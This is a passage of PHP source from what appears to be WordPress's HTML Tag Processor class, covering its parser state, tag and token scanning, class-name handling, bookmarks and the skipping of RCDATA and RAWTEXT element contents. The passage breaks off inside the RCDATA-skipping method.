 * The Tag Processor's design incorporates a "garbage-in-garbage-out" philosophy.
 * HTML5 specifies that certain invalid content be transformed into different forms
 * for display, such as removing null bytes from an input document and replacing
 * invalid characters with the Unicode replacement character `U+FFFD` (visually "�").
 * Where errors or transformations exist within the HTML5 specification, the Tag Processor
 * leaves those invalid inputs untouched, passing them through to the final browser
 * to handle. While this implies that certain operations will be non-spec-compliant,
 * such as reading the value of an attribute with invalid content, it also preserves a
 * simplicity and efficiency for handling those error cases.
 *
 * Most operations within the Tag Processor are designed to minimize the difference
 * between an input and output document for any given change. For example, the
 * `add_class` and `remove_class` methods preserve whitespace and the class ordering
 * within the `class` attribute; and when encountering tags with duplicated attributes,
 * the Tag Processor will leave those invalid duplicate attributes where they are but
 * update the proper attribute which the browser will read for parsing its value. An
 * exception to this rule is that all attribute updates store their values as
 * double-quoted strings, meaning that attributes on input with single-quoted or
 * unquoted values will appear in the output with double-quotes.
 *
 * ### Scripting Flag
 *
 * The Tag Processor parses HTML with the "scripting flag" disabled. This means
 * that it doesn't run any scripts while parsing the page. In a browser with
 * JavaScript enabled, for example, the script can change the parse of the
 * document as it loads. On the server, however, evaluating JavaScript is not
 * only impractical, but also unwanted.
 *
 * Practically this means that the Tag Processor will descend into NOSCRIPT
 * elements and process its child tags. Were the scripting flag enabled, such
 * as in a typical browser, the contents of NOSCRIPT are skipped entirely.
 *
 * This allows the HTML API to process the content that will be presented in
 * a browser when scripting is disabled, but it offers a different view of a
 * page than most browser sessions will experience. E.g. the tags inside the
 * NOSCRIPT disappear.
 *
 * ### Text Encoding
 *
 * The Tag Processor assumes that the input HTML document is encoded with a
 * text encoding compatible with 7-bit ASCII's '<', '>', '&', ';', '/', '=',
 * "'", '"', 'a' - 'z', 'A' - 'Z', and the whitespace characters ' ', tab,
 * carriage-return, newline, and form-feed.
 *
 * In practice, this includes almost every single-byte encoding as well as
 * UTF-8. Notably, however, it does not include UTF-16. If providing input
 * that's incompatible, then convert the encoding beforehand.
 *
 * @since 6.2.0
 * @since 6.2.1 Fix: Support for various invalid comments; attribute updates are case-insensitive.
 * @since 6.3.2 Fix: Skip HTML-like content inside rawtext elements such as STYLE.
 * @since 6.5.0 Pauses processor when input ends in an incomplete syntax token.
 *              Introduces "special" elements which act like void elements, e.g. TITLE, STYLE.
 *              Allows scanning through all tokens and processing modifiable text, where applicable.
 */
class WP_HTML_Tag_Processor {
	/**
	 * The maximum number of bookmarks allowed to exist at
	 * any given time.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::set_bookmark()
	 */
	const MAX_BOOKMARKS = 10;

	/**
	 * Maximum number of times seek() can be called.
	 * Prevents accidental infinite loops.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::seek()
	 */
	const MAX_SEEK_OPS = 1000;

	/**
	 * The HTML document to parse.
	 *
	 * @since 6.2.0
	 * @var string
	 */
	protected $html;

	/**
	 * The last query passed to next_tag().
	 *
	 * @since 6.2.0
	 * @var array|null
	 */
	private $last_query;

	/**
	 * The tag name this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var string|null
	 */
	private $sought_tag_name;

	/**
	 * The CSS class name this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var string|null
	 */
	private $sought_class_name;

	/**
	 * The match offset this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var int|null
	 */
	private $sought_match_offset;

	/**
	 * Whether to visit tag closers, e.g. </div>, when walking an input document.
	 *
	 * @since 6.2.0
	 * @var bool
	 */
	private $stop_on_tag_closers;

	/**
	 * Specifies mode of operation of the parser at any given time.
	 *
	 * | State           | Meaning                                                              |
	 * | ----------------|----------------------------------------------------------------------|
	 * | *Ready*         | The parser is ready to run.                                          |
	 * | *Complete*      | There is nothing left to parse.                                      |
	 * | *Incomplete*    | The HTML ended in the middle of a token; nothing more can be parsed. |
	 * | *Matched tag*   | Found an HTML tag; it's possible to modify its attributes.           |
	 * | *Text node*     | Found a #text node; this is plaintext and modifiable.                |
	 * | *CDATA node*    | Found a CDATA section; this is modifiable.                           |
	 * | *Comment*       | Found a comment or bogus comment; this is modifiable.                |
	 * | *Presumptuous*  | Found an empty tag closer: `</>`.                                    |
	 * | *Funky comment* | Found a tag closer with an invalid tag name; this is modifiable.     |
	 *
	 * @since 6.5.0
	 *
	 * @see WP_HTML_Tag_Processor::STATE_READY
	 * @see WP_HTML_Tag_Processor::STATE_COMPLETE
	 * @see WP_HTML_Tag_Processor::STATE_INCOMPLETE_INPUT
	 * @see WP_HTML_Tag_Processor::STATE_MATCHED_TAG
	 * @see WP_HTML_Tag_Processor::STATE_TEXT_NODE
	 * @see WP_HTML_Tag_Processor::STATE_CDATA_NODE
	 * @see WP_HTML_Tag_Processor::STATE_COMMENT
	 * @see WP_HTML_Tag_Processor::STATE_DOCTYPE
	 * @see WP_HTML_Tag_Processor::STATE_PRESUMPTUOUS_TAG
	 * @see WP_HTML_Tag_Processor::STATE_FUNKY_COMMENT
	 *
	 * @var string
	 */
	protected $parser_state = self::STATE_READY;

	/**
	 * Indicates if the document is in quirks mode or no-quirks mode.
	 *
	 *  Impact on HTML parsing:
	 *
	 *   - In `NO_QUIRKS_MODE` (also known as "standard mode"):
	 *       - CSS class and ID selectors match byte-for-byte (case-sensitively).
	 *       - A TABLE start tag `<table>` implicitly closes any open `P` element.
	 *
	 *   - In `QUIRKS_MODE`:
	 *       - CSS class and ID selectors match match in an ASCII case-insensitive manner.
	 *       - A TABLE start tag `<table>` opens a `TABLE` element as a child of a `P`
	 *         element if one is open.
	 *
	 * Quirks and no-quirks mode are thus mostly about styling, but have an impact when
	 * tables are found inside paragraph elements.
	 *
	 * @see self::QUIRKS_MODE
	 * @see self::NO_QUIRKS_MODE
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	protected $compat_mode = self::NO_QUIRKS_MODE;

	/**
	 * Indicates whether the parser is inside foreign content,
	 * e.g. inside an SVG or MathML element.
	 *
	 * One of 'html', 'svg', or 'math'.
	 *
	 * Several parsing rules change based on whether the parser
	 * is inside foreign content, including whether CDATA sections
	 * are allowed and whether a self-closing flag indicates that
	 * an element has no content.
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	private $parsing_namespace = 'html';

	/**
	 * What kind of syntax token became an HTML comment.
	 *
	 * Since there are many ways in which HTML syntax can create an HTML comment,
	 * this indicates which of those caused it. This allows the Tag Processor to
	 * represent more from the original input document than would appear in the DOM.
	 *
	 * @since 6.5.0
	 *
	 * @var string|null
	 */
	protected $comment_type = null;

	/**
	 * What kind of text the matched text node represents, if it was subdivided.
	 *
	 * @see self::TEXT_IS_NULL_SEQUENCE
	 * @see self::TEXT_IS_WHITESPACE
	 * @see self::TEXT_IS_GENERIC
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	protected $text_node_classification = self::TEXT_IS_GENERIC;

	/**
	 * How many bytes from the original HTML document have been read and parsed.
	 *
	 * This value points to the latest byte offset in the input document which
	 * has been already parsed. It is the internal cursor for the Tag Processor
	 * and updates while scanning through the HTML tokens.
	 *
	 * @since 6.2.0
	 * @var int
	 */
	private $bytes_already_parsed = 0;

	/**
	 * Byte offset in input document where current token starts.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *     - token starts at 0
	 *
	 * @since 6.5.0
	 *
	 * @var int|null
	 */
	private $token_starts_at;

	/**
	 * Byte length of current token.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     012345678901234
	 *     - token length is 14 - 0 = 14
	 *
	 *     a <!-- comment --> is a token.
	 *     0123456789 123456789 123456789
	 *     - token length is 17 - 2 = 15
	 *
	 * @since 6.5.0
	 *
	 * @var int|null
	 */
	private $token_length;

	/**
	 * Byte offset in input document where current tag name starts.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *      - tag name starts at 1
	 *
	 * @since 6.2.0
	 *
	 * @var int|null
	 */
	private $tag_name_starts_at;

	/**
	 * Byte length of current tag name.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *      --- tag name length is 3
	 *
	 * @since 6.2.0
	 *
	 * @var int|null
	 */
	private $tag_name_length;

	/**
	 * Byte offset into input document where current modifiable text starts.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	private $text_starts_at;

	/**
	 * Byte length of modifiable text.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	private $text_length;

	/**
	 * Whether the current tag is an opening tag, e.g. <div>, or a closing tag, e.g. </div>.
	 *
	 * @var bool
	 */
	private $is_closing_tag;

	/**
	 * Lazily-built index of attributes found within an HTML tag, keyed by the attribute name.
	 *
	 * Example:
	 *
	 *     // Supposing the parser is working through this content
	 *     // and stops after recognizing the `id` attribute.
	 *     // <div id="test-4" class=outline title="data:text/plain;base64=asdk3nk1j3fo8">
	 *     //                 ^ parsing will continue from this point.
	 *     $this->attributes = array(
	 *         'id' => new WP_HTML_Attribute_Token( 'id', 9, 6, 5, 11, false )
	 *     );
	 *
	 *     // When picking up parsing again, or when asking to find the
	 *     // `class` attribute we will continue and add to this array.
	 *     $this->attributes = array(
	 *         'id'    => new WP_HTML_Attribute_Token( 'id', 9, 6, 5, 11, false ),
	 *         'class' => new WP_HTML_Attribute_Token( 'class', 23, 7, 17, 13, false )
	 *     );
	 *
	 *     // Note that only the `class` attribute value is stored in the index.
	 *     // That's because it is the only value used by this class at the moment.
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Attribute_Token[]
	 */
	private $attributes = array();

	/**
	 * Tracks spans of duplicate attributes on a given tag, used for removing
	 * all copies of an attribute when calling `remove_attribute()`.
	 *
	 * @since 6.3.2
	 *
	 * @var (WP_HTML_Span[])[]|null
	 */
	private $duplicate_attributes = null;

	/**
	 * Which class names to add or remove from a tag.
	 *
	 * These are tracked separately from attribute updates because they are
	 * semantically distinct, whereas this interface exists for the common
	 * case of adding and removing class names while other attributes are
	 * generally modified as with DOM `setAttribute` calls.
	 *
	 * When modifying an HTML document these will eventually be collapsed
	 * into a single `set_attribute( 'class', $changes )` call.
	 *
	 * Example:
	 *
	 *     // Add the `wp-block-group` class, remove the `wp-group` class.
	 *     $classname_updates = array(
	 *         // Indexed by a comparable class name.
	 *         'wp-block-group' => WP_HTML_Tag_Processor::ADD_CLASS,
	 *         'wp-group'       => WP_HTML_Tag_Processor::REMOVE_CLASS
	 *     );
	 *
	 * @since 6.2.0
	 * @var bool[]
	 */
	private $classname_updates = array();

	/**
	 * Tracks a semantic location in the original HTML which
	 * shifts with updates as they are applied to the document.
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Span[]
	 */
	protected $bookmarks = array();

	const ADD_CLASS    = true;
	const REMOVE_CLASS = false;
	const SKIP_CLASS   = null;

	/**
	 * Lexical replacements to apply to input HTML document.
	 *
	 * "Lexical" in this class refers to the part of this class which
	 * operates on pure text _as text_ and not as HTML. There's a line
	 * between the public interface, with HTML-semantic methods like
	 * `set_attribute` and `add_class`, and an internal state that tracks
	 * text offsets in the input document.
	 *
	 * When higher-level HTML methods are called, those have to transform their
	 * operations (such as setting an attribute's value) into text diffing
	 * operations (such as replacing the sub-string from indices A to B with
	 * some given new string). These text-diffing operations are the lexical
	 * updates.
	 *
	 * As new higher-level methods are added they need to collapse their
	 * operations into these lower-level lexical updates since that's the
	 * Tag Processor's internal language of change. Any code which creates
	 * these lexical updates must ensure that they do not cross HTML syntax
	 * boundaries, however, so these should never be exposed outside of this
	 * class or any classes which intentionally expand its functionality.
	 *
	 * These are enqueued while editing the document instead of being immediately
	 * applied to avoid processing overhead, string allocations, and string
	 * copies when applying many updates to a single document.
	 *
	 * Example:
	 *
	 *     // Replace an attribute stored with a new value, indices
	 *     // sourced from the lazily-parsed HTML recognizer.
	 *     $start  = $attributes['src']->start;
	 *     $length = $attributes['src']->length;
	 *     $modifications[] = new WP_HTML_Text_Replacement( $start, $length, $new_value );
	 *
	 *     // Correspondingly, something like this will appear in this array.
	 *     $lexical_updates = array(
	 *         WP_HTML_Text_Replacement( 14, 28, 'https://my-site.my-domain/wp-content/uploads/2014/08/kittens.jpg' )
	 *     );
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Text_Replacement[]
	 */
	protected $lexical_updates = array();

	/**
	 * Tracks and limits `seek()` calls to prevent accidental infinite loops.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::seek()
	 */
	protected $seek_count = 0;

	/**
	 * Whether the parser should skip over an immediately-following linefeed
	 * character, as is the case with LISTING, PRE, and TEXTAREA.
	 *
	 * > If the next token is a U+000A LINE FEED (LF) character token, then
	 * > ignore that token and move on to the next one. (Newlines at the start
	 * > of [these] elements are ignored as an authoring convenience.)
	 *
	 * @since 6.7.0
	 *
	 * @var int|null
	 */
	private $skip_newline_at = null;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 *
	 * @param string $html HTML to process.
	 */
	public function __construct( $html ) {
		if ( ! is_string( $html ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The HTML parameter must be a string.' ),
				'6.9.0'
			);
			$html = '';
		}
		$this->html = $html;
	}

	/**
	 * Switches parsing mode into a new namespace, such as when
	 * encountering an SVG tag and entering foreign content.
	 *
	 * @since 6.7.0
	 *
	 * @param string $new_namespace One of 'html', 'svg', or 'math' indicating into what
	 *                              namespace the next tokens will be processed.
	 * @return bool Whether the namespace was valid and changed.
	 */
	public function change_parsing_namespace( string $new_namespace ): bool {
		if ( ! in_array( $new_namespace, array( 'html', 'math', 'svg' ), true ) ) {
			return false;
		}

		$this->parsing_namespace = $new_namespace;
		return true;
	}

	/**
	 * Finds the next tag matching the $query.
	 *
	 * @since 6.2.0
	 * @since 6.5.0 No longer processes incomplete tokens at end of document; pauses the processor at start of token.
	 *
	 * @param array|string|null $query {
	 *     Optional. Which tag name to find, having which class, etc. Default is to find any tag.
	 *
	 *     @type string|null $tag_name     Which tag to find, or `null` for "any tag."
	 *     @type int|null    $match_offset Find the Nth tag matching all search criteria.
	 *                                     1 for "first" tag, 3 for "third," etc.
	 *                                     Defaults to first tag.
	 *     @type string|null $class_name   Tag must contain this whole class name to match.
	 *     @type string|null $tag_closers  "visit" or "skip": whether to stop on tag closers, e.g. </div>.
	 * }
	 * @return bool Whether a tag was matched.
	 */
	public function next_tag( $query = null ): bool {
		$this->parse_query( $query );
		$already_found = 0;

		do {
			if ( false === $this->next_token() ) {
				return false;
			}

			if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
				continue;
			}

			if ( $this->matches() ) {
				++$already_found;
			}
		} while ( $already_found < $this->sought_match_offset );

		return true;
	}

	/**
	 * Finds the next token in the HTML document.
	 *
	 * An HTML document can be viewed as a stream of tokens,
	 * where tokens are things like HTML tags, HTML comments,
	 * text nodes, etc. This method finds the next token in
	 * the HTML document and returns whether it found one.
	 *
	 * If it starts parsing a token and reaches the end of the
	 * document then it will seek to the start of the last
	 * token and pause, returning `false` to indicate that it
	 * failed to find a complete token.
	 *
	 * Possible token types, based on the HTML specification:
	 *
	 *  - an HTML tag, whether opening, closing, or void.
	 *  - a text node - the plaintext inside tags.
	 *  - an HTML comment.
	 *  - a DOCTYPE declaration.
	 *  - a processing instruction, e.g. `<?xml version="1.0" ?>`.
	 *
	 * The Tag Processor currently only supports the tag token.
	 *
	 * @since 6.5.0
	 * @since 6.7.0 Recognizes CDATA sections within foreign content.
	 *
	 * @return bool Whether a token was parsed.
	 */
	public function next_token(): bool {
		return $this->base_class_next_token();
	}

	/**
	 * Internal method which finds the next token in the HTML document.
	 *
	 * This method is a protected internal function which implements the logic for
	 * finding the next token in a document. It exists so that the parser can update
	 * its state without affecting the location of the cursor in the document and
	 * without triggering subclass methods for things like `next_token()`, e.g. when
	 * applying patches before searching for the next token.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 *
	 * @return bool Whether a token was parsed.
	 */
	private function base_class_next_token(): bool {
		$was_at = $this->bytes_already_parsed;
		$this->after_tag();

		// Don't proceed if there's nothing more to scan.
		if (
			self::STATE_COMPLETE === $this->parser_state ||
			self::STATE_INCOMPLETE_INPUT === $this->parser_state
		) {
			return false;
		}

		/*
		 * The next step in the parsing loop determines the parsing state;
		 * clear it so that state doesn't linger from the previous step.
		 */
		$this->parser_state = self::STATE_READY;

		if ( $this->bytes_already_parsed >= strlen( $this->html ) ) {
			$this->parser_state = self::STATE_COMPLETE;
			return false;
		}

		// Find the next tag if it exists.
		if ( false === $this->parse_next_tag() ) {
			if ( self::STATE_INCOMPLETE_INPUT === $this->parser_state ) {
				$this->bytes_already_parsed = $was_at;
			}

			return false;
		}

		/*
		 * For legacy reasons the rest of this function handles tags and their
		 * attributes. If the processor has reached the end of the document
		 * or if it matched any other token then it should return here to avoid
		 * attempting to process tag-specific syntax.
		 */
		if (
			self::STATE_INCOMPLETE_INPUT !== $this->parser_state &&
			self::STATE_COMPLETE !== $this->parser_state &&
			self::STATE_MATCHED_TAG !== $this->parser_state
		) {
			return true;
		}

		// Parse all of its attributes.
		while ( $this->parse_next_attribute() ) {
			continue;
		}

		// Ensure that the tag closes before the end of the document.
		if (
			self::STATE_INCOMPLETE_INPUT === $this->parser_state ||
			$this->bytes_already_parsed >= strlen( $this->html )
		) {
			// Does this appropriately clear state (parsed attributes)?
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;

			return false;
		}

		$tag_ends_at = strpos( $this->html, '>', $this->bytes_already_parsed );
		if ( false === $tag_ends_at ) {
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;

			return false;
		}
		$this->parser_state         = self::STATE_MATCHED_TAG;
		$this->bytes_already_parsed = $tag_ends_at + 1;
		$this->token_length         = $this->bytes_already_parsed - $this->token_starts_at;

		/*
		 * Certain tags require additional processing. The first-letter pre-check
		 * avoids unnecessary string allocation when comparing the tag names.
		 *
		 *  - IFRAME
		 *  - LISTING (deprecated)
		 *  - NOEMBED (deprecated)
		 *  - NOFRAMES (deprecated)
		 *  - PRE
		 *  - SCRIPT
		 *  - STYLE
		 *  - TEXTAREA
		 *  - TITLE
		 *  - XMP (deprecated)
		 */
		if (
			$this->is_closing_tag ||
			'html' !== $this->parsing_namespace ||
			1 !== strspn( $this->html, 'iIlLnNpPsStTxX', $this->tag_name_starts_at, 1 )
		) {
			return true;
		}

		$tag_name = $this->get_tag();

		/*
		 * For LISTING, PRE, and TEXTAREA, the first linefeed of an immediately-following
		 * text node is ignored as an authoring convenience.
		 *
		 * @see static::skip_newline_at
		 */
		if ( 'LISTING' === $tag_name || 'PRE' === $tag_name ) {
			$this->skip_newline_at = $this->bytes_already_parsed;
			return true;
		}

		/*
		 * There are certain elements whose children are not DATA but are instead
		 * RCDATA or RAWTEXT. These cannot contain other elements, and the contents
		 * are parsed as plaintext, with character references decoded in RCDATA but
		 * not in RAWTEXT.
		 *
		 * These elements are described here as "self-contained" or special atomic
		 * elements whose end tag is consumed with the opening tag, and they will
		 * contain modifiable text inside of them.
		 *
		 * Preserve the opening tag pointers, as these will be overwritten
		 * when finding the closing tag. They will be reset after finding
		 * the closing to tag to point to the opening of the special atomic
		 * tag sequence.
		 */
		$tag_name_starts_at   = $this->tag_name_starts_at;
		$tag_name_length      = $this->tag_name_length;
		$tag_ends_at          = $this->token_starts_at + $this->token_length;
		$attributes           = $this->attributes;
		$duplicate_attributes = $this->duplicate_attributes;

		// Find the closing tag if necessary.
		switch ( $tag_name ) {
			case 'SCRIPT':
				$found_closer = $this->skip_script_data();
				break;

			case 'TEXTAREA':
			case 'TITLE':
				$found_closer = $this->skip_rcdata( $tag_name );
				break;

			/*
			 * In the browser this list would include the NOSCRIPT element,
			 * but the Tag Processor is an environment with the scripting
			 * flag disabled, meaning that it needs to descend into the
			 * NOSCRIPT element to be able to properly process what will be
			 * sent to a browser.
			 *
			 * Note that this rule makes HTML5 syntax incompatible with XML,
			 * because the parsing of this token depends on client application.
			 * The NOSCRIPT element cannot be represented in the XHTML syntax.
			 */
			case 'IFRAME':
			case 'NOEMBED':
			case 'NOFRAMES':
			case 'STYLE':
			case 'XMP':
				$found_closer = $this->skip_rawtext( $tag_name );
				break;

			// No other tags should be treated in their entirety here.
			default:
				return true;
		}

		if ( ! $found_closer ) {
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;
			return false;
		}

		/*
		 * The values here look like they reference the opening tag but they reference
		 * the closing tag instead. This is why the opening tag values were stored
		 * above in a variable. It reads confusingly here, but that's because the
		 * functions that skip the contents have moved all the internal cursors past
		 * the inner content of the tag.
		 */
		$this->token_starts_at      = $was_at;
		$this->token_length         = $this->bytes_already_parsed - $this->token_starts_at;
		$this->text_starts_at       = $tag_ends_at;
		$this->text_length          = $this->tag_name_starts_at - $this->text_starts_at;
		$this->tag_name_starts_at   = $tag_name_starts_at;
		$this->tag_name_length      = $tag_name_length;
		$this->attributes           = $attributes;
		$this->duplicate_attributes = $duplicate_attributes;

		return true;
	}

	/**
	 * Whether the processor paused because the input HTML document ended
	 * in the middle of a syntax element, such as in the middle of a tag.
	 *
	 * Example:
	 *
	 *     $processor = new WP_HTML_Tag_Processor( '<input type="text" value="Th' );
	 *     false      === $processor->get_next_tag();
	 *     true       === $processor->paused_at_incomplete_token();
	 *
	 * @since 6.5.0
	 *
	 * @return bool Whether the parse paused at the start of an incomplete token.
	 */
	public function paused_at_incomplete_token(): bool {
		return self::STATE_INCOMPLETE_INPUT === $this->parser_state;
	}

	/**
	 * Generator for a foreach loop to step through each class name for the matched tag.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( "<div class='free &lt;egg&lt;\tlang-en'>" );
	 *     $p->next_tag();
	 *     foreach ( $p->class_list() as $class_name ) {
	 *         echo "{$class_name} ";
	 *     }
	 *     // Outputs: "free <egg> lang-en "
	 *
	 * @since 6.4.0
	 */
	public function class_list() {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return;
		}

		/** @var string $class contains the string value of the class attribute, with character references decoded. */
		$class = $this->get_attribute( 'class' );

		if ( ! is_string( $class ) ) {
			return;
		}

		$seen = array();

		$is_quirks = self::QUIRKS_MODE === $this->compat_mode;

		$at = 0;
		while ( $at < strlen( $class ) ) {
			// Skip past any initial boundary characters.
			$at += strspn( $class, " \t\f\r\n", $at );
			if ( $at >= strlen( $class ) ) {
				return;
			}

			// Find the byte length until the next boundary.
			$length = strcspn( $class, " \t\f\r\n", $at );
			if ( 0 === $length ) {
				return;
			}

			$name = str_replace( "\x00", "\u{FFFD}", substr( $class, $at, $length ) );
			if ( $is_quirks ) {
				$name = strtolower( $name );
			}
			$at += $length;

			/*
			 * It's expected that the number of class names for a given tag is relatively small.
			 * Given this, it is probably faster overall to scan an array for a value rather
			 * than to use the class name as a key and check if it's a key of $seen.
			 */
			if ( in_array( $name, $seen, true ) ) {
				continue;
			}

			$seen[] = $name;
			yield $name;
		}
	}


	/**
	 * Returns if a matched tag contains the given ASCII case-insensitive class name.
	 *
	 * @since 6.4.0
	 *
	 * @param string $wanted_class Look for this CSS class name, ASCII case-insensitive.
	 * @return bool|null Whether the matched tag contains the given class name, or null if not matched.
	 */
	public function has_class( $wanted_class ): ?bool {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$case_insensitive = self::QUIRKS_MODE === $this->compat_mode;

		$wanted_length = strlen( $wanted_class );
		foreach ( $this->class_list() as $class_name ) {
			if (
				strlen( $class_name ) === $wanted_length &&
				0 === substr_compare( $class_name, $wanted_class, 0, strlen( $wanted_class ), $case_insensitive )
			) {
				return true;
			}
		}

		return false;
	}


	/**
	 * Sets a bookmark in the HTML document.
	 *
	 * Bookmarks represent specific places or tokens in the HTML
	 * document, such as a tag opener or closer. When applying
	 * edits to a document, such as setting an attribute, the
	 * text offsets of that token may shift; the bookmark is
	 * kept updated with those shifts and remains stable unless
	 * the entire span of text in which the token sits is removed.
	 *
	 * Release bookmarks when they are no longer needed.
	 *
	 * Example:
	 *
	 *     <main><h2>Surprising fact you may not know!</h2></main>
	 *           ^  ^
	 *            \-|-- this `H2` opener bookmark tracks the token
	 *
	 *     <main class="clickbait"><h2>Surprising fact you may no…
	 *                             ^  ^
	 *                              \-|-- it shifts with edits
	 *
	 * Bookmarks provide the ability to seek to a previously-scanned
	 * place in the HTML document. This avoids the need to re-scan
	 * the entire document.
	 *
	 * Example:
	 *
	 *     <ul><li>One</li><li>Two</li><li>Three</li></ul>
	 *                                 ^^^^
	 *                                 want to note this last item
	 *
	 *     $p = new WP_HTML_Tag_Processor( $html );
	 *     $in_list = false;
	 *     while ( $p->next_tag( array( 'tag_closers' => $in_list ? 'visit' : 'skip' ) ) ) {
	 *         if ( 'UL' === $p->get_tag() ) {
	 *             if ( $p->is_tag_closer() ) {
	 *                 $in_list = false;
	 *                 $p->set_bookmark( 'resume' );
	 *                 if ( $p->seek( 'last-li' ) ) {
	 *                     $p->add_class( 'last-li' );
	 *                 }
	 *                 $p->seek( 'resume' );
	 *                 $p->release_bookmark( 'last-li' );
	 *                 $p->release_bookmark( 'resume' );
	 *             } else {
	 *                 $in_list = true;
	 *             }
	 *         }
	 *
	 *         if ( 'LI' === $p->get_tag() ) {
	 *             $p->set_bookmark( 'last-li' );
	 *         }
	 *     }
	 *
	 * Bookmarks intentionally hide the internal string offsets
	 * to which they refer. They are maintained internally as
	 * updates are applied to the HTML document and therefore
	 * retain their "position" - the location to which they
	 * originally pointed. The inability to use bookmarks with
	 * functions like `substr` is therefore intentional to guard
	 * against accidentally breaking the HTML.
	 *
	 * Because bookmarks allocate memory and require processing
	 * for every applied update, they are limited and require
	 * a name. They should not be created with programmatically-made
	 * names, such as "li_{$index}" with some loop. As a general
	 * rule they should only be created with string-literal names
	 * like "start-of-section" or "last-paragraph".
	 *
	 * Bookmarks are a powerful tool to enable complicated behavior.
	 * Consider double-checking that you need this tool if you are
	 * reaching for it, as inappropriate use could lead to broken
	 * HTML structure or unwanted processing overhead.
	 *
	 * @since 6.2.0
	 *
	 * @param string $name Identifies this particular bookmark.
	 * @return bool Whether the bookmark was successfully created.
	 */
	public function set_bookmark( $name ): bool {
		// It only makes sense to set a bookmark if the parser has paused on a concrete token.
		if (
			self::STATE_COMPLETE === $this->parser_state ||
			self::STATE_INCOMPLETE_INPUT === $this->parser_state
		) {
			return false;
		}

		if ( ! array_key_exists( $name, $this->bookmarks ) && count( $this->bookmarks ) >= static::MAX_BOOKMARKS ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Too many bookmarks: cannot create any more.' ),
				'6.2.0'
			);
			return false;
		}

		$this->bookmarks[ $name ] = new WP_HTML_Span( $this->token_starts_at, $this->token_length );

		return true;
	}


	/**
	 * Removes a bookmark that is no longer needed.
	 *
	 * Releasing a bookmark frees up the small
	 * performance overhead it requires.
	 *
	 * @param string $name Name of the bookmark to remove.
	 * @return bool Whether the bookmark already existed before removal.
	 */
	public function release_bookmark( $name ): bool {
		if ( ! array_key_exists( $name, $this->bookmarks ) ) {
			return false;
		}

		unset( $this->bookmarks[ $name ] );

		return true;
	}

	/**
	 * Skips contents of generic rawtext elements.
	 *
	 * @since 6.3.2
	 *
	 * @see https://html.spec.whatwg.org/#generic-raw-text-element-parsing-algorithm
	 *
	 * @param string $tag_name The uppercase tag name which will close the RAWTEXT region.
	 * @return bool Whether an end to the RAWTEXT region was found before the end of the document.
	 */
	private function skip_rawtext( string $tag_name ): bool {
		/*
		 * These two functions distinguish themselves on whether character references are
		 * decoded, and since functionality to read the inner markup isn't supported, it's
		 * not necessary to implement these two functions separately.
		 */
		return $this->skip_rcdata( $tag_name );
	}

	/**
	 * Skips contents of RCDATA elements, namely title and textarea tags.
	 *
	 * @since 6.2.0
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#rcdata-state
	 *
	 * @param string $tag_name The uppercase tag name which will close the RCDATA region.
	 * @return bool Whether an end to the RCDATA region was found before the end of the document.
	 */
	private function skip_rcdata( string $tag_name ): bool {
		$html       = $this->html;
		$doc_length = strlen( $html );
		$tag_length = strlen( $tag_name );

		$at = $this->bytes_already_parsed;

		while ( false !== $at && $at < $doc_length ) {
			$at                       = strpos( $this->html, '</', $at );
			$this->tag_name_starts_at = $at;

			// Fail if there is no possible tag closer.
			if ( false === $at || ( $at + $tag_length ) >= $doc_length ) {
				return false;
			}

			$at += 2;

			/*
			 * Find a case-insensitive match to the tag name.
			 *
			 * Because tag names are limited to US-ASCII there is no
			 * need to perform any kind of Unicode normalization when
			 * comparing; any character which could be impacted by such
			 * normalization could not be part of a tag name.
			 */
			for ( $i = 0; $i < $tag_length; $i++ ) {
				$tag_char  = $tag_name[ $i ];
				$html_char = $html[ $at + $i ];

				if ( $html_char !== $tag_char && strtoupper( $html_char ) !== $tag_char ) {
					$at += $i;
					continue 2;
				}
			}

			$at                        += $tag_length;
			$this->bytes_already_parsed = $at;

			if ( $at >= strlen( $html ) ) {
				return false;
			}

			/*
			 * Ensure that the tag name terminates to avoid matching on
			 * substrings of a longer tag name. For example, the sequence
			 * "</textarearug" should not match for "</textarea" even
			 * though "textarea" is found within the text.
			 */
			$c = $html[ $at ];
			if ( ' ' !== $c && "\t" !== $c && "\r" !== $c && "\n" !== $c && '/' !== $c && '>' !== $c ) {
				continue;
			}

			while ( $this->parse_next_attribute() ) {
				continue;
			}

			$at = $this->bytes_already_parsed;
			if ( $at >= strlen( $this->html ) ) {
				return false;
			}

			if ( '>' === $html[ $at ] ) {
				$this->bytes_already_parsed = $at + 1;
				return true;
			}

